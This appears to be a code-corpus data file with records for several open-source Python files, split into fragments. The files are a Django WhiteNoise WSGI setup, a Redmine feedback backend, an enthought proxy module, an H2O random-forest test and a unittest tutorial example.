tatic import Cling application = Cling(application) ## Static File Handling # http://whitenoise.readthedocs.org/en/latest/django.html from whitenoise.django import DjangoWhiteNoise application = DjangoWhiteNoise(application)
mpyatishev/djfeedback
feedbacks/backends/redmine_backend.py
Python
mit
1,037
0
# -*- coding: utf-8 -*- from redmine import Redmine from feedbacks import set
tings from base import IBackend class RedmineBackend(IBackend): def __init__(self): self.redmine = Redmine(settings.DJFEEDBACK_REDMINE_URL, key=settings.DJFEEDBACK_REDMINE_KEY) self.project_id = settings.DJFEEDBACK_REDMINE_PROJECT_ID
def post(self, message): tracker = message.ftype.ftype if tracker is None: tracker = 'bug' email_field_id = settings.DJFEEDBACK_REDMINE_EMAIL_FIELD_ID custom_fields = [ { 'id': email_field_id, 'value': message.email ...
enthought/etsproxy
enthought/blocks/analysis.py
Python
bsd-3-clause
94
0
# proxy module from __future__ impor
t absolute_import from codetools.blocks.analysis import
*
janezhango/BigDataMachineLearning
py/testdir_single_jvm_fvec/test_rf_covtype20x_fvec.py
Python
apache-2.0
6,035
0.011765
import unittest, random, sys, time sys.path.extend(['.','..','py']) import h2o, h2o_cmd, h2o_rf, h2o_hosts, h2o_import as h2i, h2o_jobs, h2o_gbm DO_SMALL = True drf2ParamDict = { 'response': [None, 'C55'], 'max_depth': [None, 10,20,100], 'nbins': [None,5,10,100,1000], 'ignored_cols_by_name': [None,'C1...
e, hex_key=hex_key, timeoutSecs=500) print "Parse result['destination_key']:", parseResultTest['destination_key'] inspect = h2o_cmd.runInspect(key=parseResultTest['destination_key'])
dataKeyTest = parseResultTest['destination_key'] print "Parse end", dataKeyTest # make a 3rd key so the predict is uncached too! execExpr = dataKeyTest2 + "=" + dataKeyTest kwargs = {'str': execExpr, 'timeoutSecs': 15} resultExec = h2o_cmd.runExec(**kwargs) # train ...
ealogar/curso-python
advanced/tests_lib.py
Python
apache-2.0
3,442
0.001453
#-*- coding: utf-8 -*- from __future__ import unicode_literals, print_function import unittest import lib_to_test # Some nosetests versions require 'test' to appear in the class name class TestCaseExample(unittest.TestCase): """This is a tests class, grouping a bunch of tests """ @classmethod def setU...
optional self.assertGreaterEqual(lib_to_test.sum(self.x, self.y), self.x) self.assertFalse(lib_to_test.sum(0, 0)) self.assertIsNotNone(lib_to_test.sum(0, 0)) # We can add as tests methods and classes as desired def test_subs(self): """Second test """ x = [10, 20,...
self.assertEqual(expected, map(lib_to_test.subs, x, y)) self.assertItemsEqual(expected_unordered, map(lib_to_test.subs, x, y)) # Classes and its tests are not executed in strict order def test_errors_raised(self): """Another test """ # Check an exception is raised s...